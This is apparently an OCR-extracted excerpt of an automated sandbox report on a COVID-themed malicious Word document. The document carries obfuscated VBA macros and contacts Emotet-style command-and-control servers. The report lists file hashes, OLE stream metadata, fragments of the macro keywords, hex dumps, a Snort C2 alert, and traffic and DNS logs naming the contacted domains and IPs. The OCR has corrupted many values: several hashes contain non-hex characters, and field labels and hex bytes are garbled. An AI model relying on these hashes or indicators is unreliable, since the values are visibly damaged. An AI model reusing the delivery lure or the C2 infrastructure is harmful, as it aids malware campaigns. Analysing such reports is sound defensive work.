C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

340824

4.347498688978882

false

3072:eG9ctfNneahaNfjraHoEkApi23X5TKavlyw8W8:eG+Fel7mHoU/3NywH8
D9ED9211C02695D3F3B88F55471BA6E2
BFF2DCB56FCFEB3CABE48896CE093606915FD0C2
A2DA516FB54B231DF55F50BB6C1735CC43D6D634E5EF5925557D18A0AA15DA2F
578902C99938395CF7C76C5ABB5F85D515494BOCB4E1CE794A2F56A28BA854F60D096F2C54C9954CD192B751311FA0A2D45442ABD644D044BEC7435D8E1D36LC
true

e Antivirus: Joe Sandbox ML, Detection: 100%

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

Copyright null 2021

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Subject:
Licensed Borders Strategist Brook Designer sky blue
overriding neural auxiliary Ergonomic Metal Pants Inte
rnational Solutions withdrawal Associate, Author: La
Breton, Template: Normal.dotm, Last Saved By: Nicolas
Menard, Revision Number: 1, Name of Creating Applicat
ion: Microsoft Office Word, Create Time/Date: Tue Jan
12 14:56:00 2021, Last Saved Time/Date: Tue Jan 12
14:57:00 2021, Number of Pages: 1, Number of Words:
2554, Number of Characters: 14559, Security: 8

6.6917397440496424

e Microsoft Word document (32009/1) 79.99%
e Generic OLE2 / Multistream Compound File
(8008/1) 20.01%

AG60273928I_COVID-19_SARS-CoV-2.doc
161373

6d718814f5cflccd99905fdac40a504a
f1746098ad2bb75e3054351b190cc818712ae46a

6bb1fa2chbald52674b980804939a39bb7dc3a68a364402
d393e6a3ae520cdce9

8211b228f5194e9dchbd68be1438631b07bd4534ddaa7b6
46a20e2f551acd883alal90b4db46c0589f35d9f1dc9257
¢7d03829972ab401ce069358828dbe57e7d

3072:u9ufstRUUKSNs8TO0JSHUgteMJ8qMD7gmd:u9uf
sfglfOpLmd
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File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "AG60273928]_COVID-19_SARS-CoV-2.doc"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Summary
Code Page:
Title:
Subject:

Author:

Keywords:
Comments:
Template:

Last Saved By:
Revion Number:
Total Edit Time:
Create Time:

Last Saved Time:
Number of Pages:
Number of Words:
Number of Characters:
Creating Application:

Security:

Document Summary
Document Code Page:
Number of Lines:

Number of Paragraphs:
Thumbnail Scaling Desired:
Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams with VBA

VBA File Name: L95wkirc_zm, Stream Size: 697

General
Stream Path:
VBA File Name:

Stream Size:

Copyright null 2021

edeea2aaadbdbdad

OLE

True
Microsoft Office Word
False
True
False
False

False

True

1252

Licensed Borders Strategist Brook Designer sky blue overriding neural auxiliary Ergonomic

Metal Pants International Solutions withdrawal Associate

La Breton

Normal.dotm
Nicolas Menard

1

0

2021-01-12 14:56:00
2021-01-12 14:57:00
1

2554

14559

Microsoft Office Word
8

-535
121
34

False

False
False
False

917504

Macros/VBA/L95wkirc_zm
L95wkirc_zm

697

Page 21 of 45



General
Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code

VBA File Name: Ut2r21ym17z8, Stream Size: 1108

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

Private
VB_Exposed
Attribute
VB_Creatable
VB_Name
Document_open()
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: Wnoyuuu28ekk6591v, Stream Size: 10959

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Copyright null 2021

01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff f ff 23 02 00 00 83 02 00
00 00 00 00 00 01 00 00 00 7d 9a d6 11 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

Macros/VBA/Ut2r21ym17z8

Ut2r21ym17z8
1108

01 16 01 00 00 fO 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff €5 02 00 00 75 03 00
00 00 00 00 00 01 00 00 00 7d 9a 7f €9 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Macros/VBA/Wnoyuuu28ekk6591v
Wnoyuuu28ekk6591v
10959

01 16 01 00 00 fO 00 00 00 14 06 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 1b 06 00 00 7b 1f 00
00 00 00 00 00 01 00 00 00 7d 9a 77 5a 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
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Keyword
QiUwg

KKUCJE
IRzIEJEhH
WKzNWHJF:
"wlxm[vw]xm[v"
euCMS
pOJIMNADCJ
JYGXBIIF
bdthsD
Fix(BXAuAZ)
"wlxm[vrow]xm[vw]xm[vcew]xm[vsw]xm[vsw]xm[vw]xm[v"
iIMCSwT:
(Fix(BXAuAz)
Fix(haldl)
NgFCwDc
MzYdG
Fix(KVceECFW)
Fix(HgDzXCHAI)
aENWC
HgDzXCHAI:
Deywj

HISCAZ
NHXknCOIO
HCvew
(Fix(NRQDYIEUB)
pBfoEG
KVceECFW
gGWPAaQE
ZPIhEMFUB
PQQqeFIV
WLUaHmMEM
HgDzXCHAI
AmBRDm
syZqCACD:
GbHdGd
wBPVCHmMC
VZKQBUM
EhgwMQ
IFS|FIKG
ZDZjiB

oXEtl:
Fix(PQQqgeFIV)
Fix(dFxICEjw)
RMuSICrX
Fix(vZKQBuUM)
Fix(euCMS)
oXEtl

bmEDqv
SyFFGil
ZWQKFHWJE
Fix(hqoyYzBsF)
elaaFZ
(Fix(AmBRDm)
sjOmJFFIU
Fix(ZtkoHFBJE)
kJLIUyR:
dFxICEjw
iMCSwT
bmUbGyYE
DFUrcCC
BchiEV:

XulhC
IdwoCFMGd
Fix(GXOzFr)
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Keyword
Fix(VjnuHgF)
Fix(qomwTEly)
LVentAcm
CsYsXv

mtEnt

GyqdfE

zmkyT

haldl:

VjnuHgF
tEOD:
nqWzNzZ
(Fix(wBPVCHMC)
BXAuAz
(Fix(euCMS)
Fix(BchiEV)
Resume

tjEOD
Fix(DFJhGAS)
Fix(gGWPAaQE)
"ww]xm[vinw]xm[vmw]xm[vgmw]xm[vtw]xm[vw]xm[v"
Fix(OBHKWHOT)
Elself

1QgtJd
LLIuCIBBB
(Fix(iBHSjSEa)
ZJaTECrE
wqynHT:
Fix(iBHSjSEa)
Fix(FgraEHXFK)
prYcEiJ
(Fix(KAAVICY)
kJLIUYR
iBHSjSEa
OBHKWHOT:
UCwnFIrZJ
SBHKCG
KVceECFW:
(Fix(DFJhGAS)
(Fix(vZKQBuUM)
KAAvVICJ
euEPorCJT
(Fix(QvXuJE)
RfdoD
Fix(tEOD)
KFoRcFUC
JEfgBUNJA
"wlxm[v",
LiKWuj
hqoyYzBsF
RiwhJ
FgraEHXFK
Error

nDoEDU
Fix(wqynHT)
VjnuHgF:
Attribute
RYasHk
rxeqDoVh
IXWSCCJ
(Fix(dFxICEjw)
Len(dsfe))),
Fix(QiUwq)
cFNuGfA
Fix(AmBRDm)
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Keyword

haldl
(Fix(QiUwaq)
GXOzFr

dLkMB
DFJhGAS
Fix(QvXuJE)
Fix(kJLIUYR)
Fix(WKzNWHJF)
VB_Name
(Fix(hqoyYzBsF)
gpMvF

QhiuG

gdhXNEq
ZtkoHFBJE:
Fix(NRQDYIEUuUB)
Function

qspTA
ZtkoHFBJE
BchiEV
LFWNyIzJD
VDgoluF
gsfzvZAB
NRQDYIEuB
ammiJ
Fix(KAAVICJ)
(Fix(qomwTEly)
qomwTEly
Fix(oXEtl)
Double
Fix(iMCSwT)
QVXuJE
wgynHT
kamgFA
(Fix(FqraEHXFK)
WKzNWHJIF
Fix(syZqCACD)
gGWPAaQE:
"wlxm[vpw]xm[v"
GXOzFr:
Mid(Application.Name,
OBHKWHOT
(Fix(PQQgeFIV)
UTgTA
Fix(wBPVCHmMC)
syZqCACD
JjSHOJAICH

VBA Code

Streams

Stream Path: \xX1CompObj, File Type: data, Stream Size: 146

General

Stream Path: \x1CompObj

File Type: data

Stream Size: 146

Entropy: 4.00187355764

Base64 Encoded: False

Data ASCIl: Foooooo.. MSWordDoc..... Word.Document
.8..9.9@..... > :.C.<.5.=.B. .M.i.c.r.o.s.o.f.t. .W.o.r.d. .9.7.
-.2.0.0.3......... ..
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General

Data Raw:

01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 00 00 00 00
0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74
2e 3800 f4 39 b2 71 40 00 00 00 14 04 3e 04 3a 04 43 04 3c 04 35 04 3d 04 42 04 20 00 4d
00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 6f 00 72 00 64 00 20 00 39 00
37 00 2d 00

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \x5Summarylinformation, File Type: data, Stream Size: 568

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: 1Table, File Type: data, Stream Size: 6424

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Data, File Type: data, Stream Size: 99193

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright null 2021

\x5DocumentSummarylnformation
data

4096

0.280441275353

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 f4 00 00 00 Oc 00 00 00 01 00 00 00
68 00 00 00 Of 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00
00 00 8¢ 00 00 00 17 00 00 00 94 00 00 00 Ob 00 00 00 9¢ 00 00 00 10 00 00 00 a4 00 00 00
13 00 00 00 ac 00 00 00

\x5Summaryinformation
data

568

4.21212750192

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f
f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 08 02 00 00 11 00 00 00 01 00 00 00 90
00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 6¢ 01 00 00 04 00 00 00 58 01 00 00 05 00 00
00 a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 40 01 00 00 09

00 00 00 d0 00 00 00

1Table

data

6424
6.13855158031

True

.6...6...>...6...6...6...6...
.6...6...6...6...6...6...6...6...6...6...

6a 04 11 00 12 00 01 00 Ob 01 Of 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
76 02 00 00 76 02 00 00

Data

data

99193
7.39010520705

True
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General

Data Raw:

79 83 01 00 44 00 64 00 00 00 00 00 00 00 Oa 00 00 00 00 00 00 00 00 00 00 00 00 00 2f 67
eb 2c 62 01 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 0f 00 04 fO 6a 00 00 00 b2 04 Oa fO 08 00 00 00 01 04 00 00 00 Oa 00
00 63 00 Ob f0 38 00 00 00 04 41 01 00 00 00 3f 01 00 00 06 00 bf 01 00 00 10 00 ff 01 00 00
08 00 80 c3 14 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 505

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 131

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 4487

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macros/PROJECT

ASCII text, with CRLF line terminators
505

5.46028687806

True

ID="{8890BEF4-CDC5-40D1-86E8-2FEA1F3B556F}"..Docum
ent=Ut2r21ym17z8/&H00000000..Module=L95wkirc_zm..Mod
ule=Wnoyuuu28ekk6591v..ExeName32="Dt32mniil_8"..Nam
e="mw"..HelpContextID="0"..VersionCompatible32="393222
000"..CMG="5B594226922A922A922A922A"..DPB="AFADB6

49 44 3d 22 7b 38 38 39 30 42 45 46 34 2d 43 44 43 35 2d 34 30 44 31 2d 38 36 45 38 2d 32
46 45 41 31 46 33 42 35 35 36 46 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 55 74 32 72 32 31
79 6d 31 37 7a 38 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65 3d 4c 39 35 77
6b 69 72 63 5f 7a 6d 0d Oa 4d 6f 64 75 6¢ 65 3d 57 6e 6f 79 75 75 75 32 38 65 6b 6b 36 35 39
3176 0d Oa 45 78 65

Macros/PROJECTwm
data

131

3.71027191407

False

Uut2r21yml17z8.U.t.2.r.2.1.y.m.1.7.z.8...L95wkirc_zm.L.9.5.
w.k.i.r.c._.z.m...Wnoyuuu28ekk6591v.W.n.o.y.u.u.u.2.8.e.k

5574 3272323179 6d 3137 7a 38005500 74 00 3200 72 00 32 00 3100 79 00 6d 00 31
00 37 00 7a 00 38 00 00 00 4c 39 35 77 6b 69 72 63 5f 7a 6d 00 4c 00 39 00 35 00 77 00 6b
00 69 00 72 00 63 00 5f 00 7a 00 6d 00 00 00 57 6e 6f 79 75 75 75 32 38 65 6b 6b 36 35 39
31 76 00 57 00 6e 00 6f 00 79 00 75 00 75 00 75 00 32 00 38 00 65 00 6b 00 6b 00 36 00 35
00 39 00 31 00 76 00 00

Macros/VBA/_VBA_PROJECT
data

4487

5.34743792545

False

B *\.G.{.0.0.0.2.0.4.E.F.-.0.0.0
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...1.#.9
#.C...\.P.R.0O.G.R.A.~.2.\.C.O.M.M.O.N.~.1.\.M.I.C.R.O.S
~.1.\.V.B.A.\.V.B.A.7.\.V.B.E.7...D.L.L.#.V.i.s.u.a.l. .B.a.s

i.c. L F.

cc 61 97 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00
05 00 02 00 fa 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 31 00 23 00

Stream Path: Macros/VBAIdir, File Type: Tower/XP rel 3 object not stripped - version 18435, Stream Size: 660

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright null 2021

Macros/VBA/dir
Tower/XP rel 3 object not stripped - version 18435

660

6.38918771534

True

............ o*. ....p..H.."..d.....m..2.4.@.....Z=....b............a
%.J<..... rst dole>.2s..t.d.o.l..e...h.%"...*\G{0002°0430-.

L.Cll 0046}.#2.0#0#C.:\Window.s\SysWOW.64\.e2.tl.b#

OLE Au.tomation.. ....Norma.l.EN.Cr.m..a.F.. ..... X*\C......

m....!O0ffic
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General

Data Raw:

Stream Path: WordDocument, File Type: data, Stream Size: 20526

General

Stream Path:

File Type:

Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Network Behavior

01 90 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4
04 04 02 1c 6d a2 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 Oa 07 02 62 01 14 08 06 12
090102 12 1396 ed 61 06 00 Oc 25 02 4a 3¢ 02 0a 16 00 01 72 73 74 20 64 6f 6¢ 65 3e 02
32 7300 00 74 00 64 00 6f 00 6¢ 00 a0 65 00 Od 00 68 00 25 5e 00 03 00 2a 5¢ 47 7b 30 30
3032 60303433302d

WordDocument
data

20526
4.14121071974

False

ec a5 ¢1 00 5f cO 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 d9 4a 00
00 Oe 00 62 6a 62 6a 00 15 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19
04 16 00 2e 50 00 00 62 7f 00 00 62 7f 00 00 d9 42 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff Of 00 00 00 00 00 00 00 00 00 ff ff Of
00 00 00 00 00

Snort IDS Alerts
Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
01/12/21- TCP 2404340 ET CNC Feodo Tracker Reported CnC Server TCP group 21 49170 80 192.168.2.22 71.72.196.159
19:16:23.562924
Network Port Distribution

Total Packets: 43

® 53 (DNS)

® 80 (HTTP)

@ 443 (HTTPS)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Jan 12, 2021 19:16:04.220208883 CET 49165 443 192.168.2.22 51.79.161.36
Jan 12, 2021 19:16:04.427264929 CET 443 49165 51.79.161.36 192.168.2.22
Jan 12, 2021 19:16:04.427385092 CET 49165 443 192.168.2.22 51.79.161.36
Jan 12, 2021 19:16:04.441338062 CET 49165 443 192.168.2.22 51.79.161.36
Jan 12, 2021 19:16:04.648400068 CET 443 49165 51.79.161.36 192.168.2.22
Jan 12, 2021 19:16:04.648617983 CET 443 49165 51.79.161.36 192.168.2.22
Jan 12, 2021 19:16:04.648642063 CET 443 49165 51.79.161.36 192.168.2.22
Jan 12, 2021 19:16:04.648689985 CET 443 49165 51.79.161.36 192.168.2.22
Jan 12, 2021 19:16:04.648737907 CET 49165 443 192.168.2.22 51.79.161.36
Jan 12, 2021 19:16:04.648901939 CET 49165 443 192.168.2.22 51.79.161.36

Copyright null 2021
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 12, 2021 19:16:04.662923098 CET 49165 443 192.168.2.22 51.79.161.36
Jan 12, 2021 19:16:04.663800001 CET 49166 443 192.168.2.22 51.79.161.36
Jan 12, 2021 19:16:04.862540960 CET 443 49166 51.79.161.36 192.168.2.22
Jan 12, 2021 19:16:04.862718105 CET 49166 443 192.168.2.22 51.79.161.36
Jan 12, 2021 19:16:04.863187075 CET 49166 443 192.168.2.22 51.79.161.36
Jan 12, 2021 19:16:04.870026112 CET 443 49165 51.79.161.36 192.168.2.22
Jan 12, 2021 19:16:05.061920881 CET 443 49166 51.79.161.36 192.168.2.22
Jan 12, 2021 19:16:05.062295914 CET 443 49166 51.79.161.36 192.168.2.22
Jan 12, 2021 19:16:05.062325001 CET 443 49166 51.79.161.36 192.168.2.22
Jan 12, 2021 19:16:05.062357903 CET 443 49166 51.79.161.36 192.168.2.22
Jan 12, 2021 19:16:05.062414885 CET 49166 443 192.168.2.22 51.79.161.36
Jan 12, 2021 19:16:05.062875032 CET 49166 443 192.168.2.22 51.79.161.36
Jan 12, 2021 19:16:05.064313889 CET 49166 443 192.168.2.22 51.79.161.36
Jan 12, 2021 19:16:05.145780087 CET 49167 443 192.168.2.22 185.2.4.29

Jan 12, 2021 19:16:05.197062969 CET 443 49167 185.2.4.29 192.168.2.22
Jan 12, 2021 19:16:05.197251081 CET 49167 443 192.168.2.22 185.2.4.29

Jan 12, 2021 19:16:05.197689056 CET 49167 443 192.168.2.22 185.2.4.29

Jan 12, 2021 19:16:05.248888016 CET 443 49167 185.2.4.29 192.168.2.22
Jan 12, 2021 19:16:05.248907089 CET 443 49167 185.2.4.29 192.168.2.22
Jan 12, 2021 19:16:05.249005079 CET 443 49167 185.2.4.29 192.168.2.22
Jan 12, 2021 19:16:05.249093056 CET 49167 443 192.168.2.22 185.2.4.29

Jan 12, 2021 19:16:05.251177073 CET 49167 443 192.168.2.22 185.2.4.29

Jan 12, 2021 19:16:05.251851082 CET 49168 443 192.168.2.22 185.2.4.29

Jan 12, 2021 19:16:05.263067961 CET 443 49166 51.79.161.36 192.168.2.22
Jan 12, 2021 19:16:05.302382946 CET 443 49167 185.2.4.29 192.168.2.22
Jan 12, 2021 19:16:05.303016901 CET 443 49168 185.2.4.29 192.168.2.22
Jan 12, 2021 19:16:05.303092957 CET 49168 443 192.168.2.22 185.2.4.29

Jan 12, 2021 19:16:05.303483009 CET 49168 443 192.168.2.22 185.2.4.29

Jan 12, 2021 19:16:05.354767084 CET 443 49168 185.2.4.29 192.168.2.22
Jan 12, 2021 19:16:05.354849100 CET 443 49168 185.2.4.29 192.168.2.22
Jan 12, 2021 19:16:05.354964018 CET 443 49168 185.2.4.29 192.168.2.22
Jan 12, 2021 19:16:05.355037928 CET 49168 443 192.168.2.22 185.2.4.29

Jan 12, 2021 19:16:05.357589960 CET 49168 443 192.168.2.22 185.2.4.29

Jan 12, 2021 19:16:05.408828974 CET 443 49168 185.2.4.29 192.168.2.22
Jan 12, 2021 19:16:05.758419037 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:05.992652893 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:05.992826939 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:05.992989063 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.226633072 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.229259968 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.229289055 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.229307890 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.229326010 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.229338884 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.229357958 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.229374886 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.229398012 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.229412079 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.229423046 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.229440928 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.229458094 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.229473114 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.229481936 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.229506969 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.463335037 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463362932 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463380098 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463392019 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463403940 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463417053 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463433027 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463448048 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.463457108 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.463469982 CET 80 49169 152.32.168.168 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 12, 2021 19:16:06.463486910 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463505983 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.463515997 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463536024 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463547945 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.463562965 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463581085 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463594913 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.463604927 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463622093 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463638067 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.463645935 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463661909 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463671923 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.463686943 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463695049 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.463711023 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463726997 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.463742018 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.657936096 CET 49169 80 192.168.2.22 152.32.168.168
Jan 12, 2021 19:16:06.697458982 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.697488070 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.697505951 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.697529078 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.697554111 CET 80 49169 152.32.168.168 192.168.2.22
Jan 12, 2021 19:16:06.697577000 CET 80 49169 152.32.168.168 192.168.2.22

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 12, 2021 19:16:03.922451019 CET 52197 53 192.168.2.22 8.8.8.8

Jan 12, 2021 19:16:04.207346916 CET 53 52197 8.8.8.8 192.168.2.22

Jan 12, 2021 19:16:05.088341951 CET 53099 53 192.168.2.22 8.8.8.8

Jan 12, 2021 19:16:05.145020008 CET 53 53099 8.8.8.8 192.168.2.22

Jan 12, 2021 19:16:05.367438078 CET 52838 53 192.168.2.22 8.8.8.8

Jan 12, 2021 19:16:05.757515907 CET 53 52838 8.8.8.8 192.168.2.22

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 12, 2021 19:16:03.922451019 CET 192.168.2.22 8.8.8.8 0x62a5 Standard query  shulovbaaz A (IP address) IN (0x0001)
(0) ar.com

Jan 12, 2021 19:16:05.088341951 CET 192.168.2.22 8.8.8.8 0x523f Standard query  mybusiness A (IP address) IN (0x0001)
0) event.com

Jan 12, 2021 19:16:05.367438078 CET 192.168.2.22 8.8.8.8 0x51f2 Standard query  uhk.cncran A (IP address) IN (0x0001)
0) es.com

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 12, 2021 8.8.8.8 192.168.2.22 0x62a5 No error (0) shulovbaaz 51.79.161.36 A (IP address) IN (0x0001)

19:16:04.207346916 ar.com

CET

Jan 12, 2021 8.8.8.8 192.168.2.22 0x523f No error (0) mybusiness 185.2.4.29 A (IP address) IN (0x0001)

19:16:05.145020008 event.com

CET

Jan 12, 2021 8.8.8.8 192.168.2.22 0x51f2 No error (0) uhk.cncran uhk.asiash.com CNAME IN (0x0001)

19:16:05.757515907 es.com (Canonical name)

CET

Jan 12, 2021 8.8.8.8 192.168.2.22 0x51f2 No error (0) uhk.asiash.com 152.32.168.168 A (IP address) IN (0x0001)

19:16:05.757515907

CET

HTTP Request Dependency Graph

e uhk.cncranes.com
